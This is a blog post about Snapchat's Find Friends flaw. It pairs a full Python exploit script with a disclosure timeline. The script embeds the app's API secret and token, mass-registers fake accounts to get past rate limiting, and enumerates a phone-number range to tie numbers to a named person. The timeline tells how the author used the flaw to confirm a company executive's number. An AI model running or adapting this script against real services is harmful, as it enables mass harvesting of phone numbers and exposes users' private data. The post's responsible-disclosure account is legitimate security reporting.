Neuebits

A blog by Graham Smith

Snapchat Security

Donate

I’d like to express my gratitude to the following people, whom I couldn’t have done this without. Please consider donating to them.

Rate Limit Workaround (Patched)

(sna.py) download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from hashlib import sha256
import json
import random
import requests
import string
import time

SECRET = b'iEk21fuwZApXlz93750dmW22pw389dPwOk'
STATIC_TOKEN = 'm198sOkJEn37DjqZ32lpRu76xmw288xSQ9'
HASH_PATTERN = '0001110111101110001111010101111011010001001110011000110001000110'

def timestamp():
    return int(round(time.time() * 1000))

def hash256(var1, var2):
    h1 = sha256(SECRET + var1.encode('utf-8')).hexdigest()
    h2 = sha256(var2.encode('utf-8') + SECRET).hexdigest()
    result = ''
    for i in range(0, len(h1)):
        result += h2[i] if HASH_PATTERN[i] is "1" else h1[i]
    return result

def req_token(auth_token):
    return hash256(auth_token, str(timestamp()))

def register(email, password, birthday, time_zone='US/Pacific'):
    data = {'email': email,
            'password': password,
            'birthday': birthday,
            'timestamp': timestamp(),
            'req_token': req_token(STATIC_TOKEN),
            'time_zone': time_zone}
    req = requests.post('https://feelinsonice-hrd.appspot.com/bq/register', data)
    return req

def register_username(username, email):
    data = {'username': username,
            'email': email,
            'timestamp': timestamp(),
            'req_token': req_token(STATIC_TOKEN)}
    req = requests.post('https://feelinsonice-hrd.appspot.com/bq/registeru', data)
    return req

def random_user(length=15):
    # Random username/email generator
    username = ''.join( [random.choice(string.ascii_letters) for i in range(length)] )
    email = username + '@snapchat.com'
    # Must satisfy password requirements
    req = register(email, 'abcdefgh', '1337-11-11', 'US/Chicago')
    req2 = register_username(username, email)
    # Make sure registration requests go through
    time.sleep(0.05)
    return req2

def find_friend(username, auth_token, name, number, country_code='US'):
    data = {'username': username,
            'timestamp': timestamp(),
            'req_token': req_token(auth_token),
            'countryCode': country_code}
    n = json.dumps({number: name})
    data = dict(data, numbers=n)
    req = requests.post('https://feelinsonice-hrd.appspot.com/bq/find_friends', data=data, headers={'User-Agent': None})
    return req

def search(name, out, start, stop):
    with open(out, 'w') as f:
        for number in range(start, stop):
            # New user for each iteration to circumvent rate-limiting
            new_user = random_user()
            while 'auth_token' not in new_user.text:
                new_user = random_user()
            req = find_friend(new_user.json()['username'], new_user.json()['auth_token'], name, number)
            f.write(str(dict(number=number, result=req.text)))

search('Evan Spiegel', 'numbers.txt', 3100000000, 3110000000)

Timeline

December 25, 2013 - GibsonSec releases Snapchat docs, including details of Find Friends vulnerablility

December 27, 2013 - Snapchat issues statement saying they have fixed the vulnerability, but they really hadn’t

December 31, 2013 - Snapchatdb.info releases database of 4.6M usernames along with 8-digits of their assosciated phone

January 2, 2013 - Snapchat issues statement about snapchatdb.info, says:

We will be releasing an updated version of the Snapchat application that will allow Snapchatters to opt out of appearing in Find Friends after they have verified their phone number. We’re also improving rate limiting and other restrictions to address future attempts to abuse our service.

January 3, 2014 (10:45PM PST) - I reached out to Snapchat because of a flaw that left Find Friends vulnerable in spite of rate limiting and other quick-fixes they made

January 3, 2014 (11:38PM PST) - Micah Schaffer promptly replies on behalf of Snapchat, “willing” to work on fixing the problem

January 7, 2014 - After several days of radio silence from Snapchat and no clear signs that they were working on a fix, I decided to take the matters into my own hands. I found Bobby Murphy (Co-Founder & CTO @ Snapchat) in the database released by snapchatdb.info, his number appearing with a simple query for the username bobby. Doubtful that Snapchat was working on a fix, I used the vulnerability to confirm the last two digits of his phone number in a matter of seconds.

January 7, 2014 (3:39PM PST) - I decided to call Bobby, only to receive his voicemail. I texted him. Hey Bobby. He texted back. Who is this? So I filled him in on the details and was told to send him an email and he’d see what he could do.

January 10, 2014 (2:00PM PST) – I had an interview at Snapchat for a position as software engineer. This was for an open position and I was competing against college students, mostly junior-year CS majors (probably) from top-tier schools. I had this interview thanks to Bobby, but I completely wasted the time of their poor Android engineer, Nic. When it came to the programming challenge, all I had to do was validate a Sudoku board, which was stored in a 2D array. The challenge was quite simple, in fact, I had solved it before in the past. However, I had never interviewed for a job before, let alone done a programming interview. I cracked under pressure. Wasted both of our time. Yet somehow, as soon as our Google Hangout ended, I was able to solve that programming challenge in under five minutes. Overall, the process was a good experience because I learned a little about myself and about programming interviews. January 13, 2014 - I began looking into Snapchat’s ”updated version of the Snapchat application that will allow Snapchatters to opt out of appearing in Find Friends after they have verified their phone number.” As it turns out, phone number verification is only an in-app requirement. There wasn’t a single server-side check to see if an account has been validated, meaning you can programmatically use Find Friends on a brand-new account, no phone number verification required. Additionally, forcing users to verify phone numbers before using Find Friends or opting-out of Find Friends defeats the intended purpose of the validation. Therefore, if users validate without opting-out or the Snapchat database is hacked, then every user that ever validates could have their phone number compromised.

January 13, 2014 (2:57PM PST) - After texting Bobby, he acknowledged that they don’t make a server-side check.

January 17, 2014 - Snapchat begins enforcing server-side phone number validation before letting accounts use the Find Friends service.

January 19, 2014 - I’m not completely positive this is the correct date, but I’ve heard that this is the date that Snapchat decidedly rolled out SNAPTCHA. SNAPTCHA is an obscure and fun version of the CAPTCHA that has users confirm they are human by selecting a photo that contains the famous Snapchat “ghost” logo.

January 22, 2014 - I completed my script for solving SNAPTCHA’s, but have no plans on releasing the code because I don’t want to be held responsible for a second dump of users’ phone numbers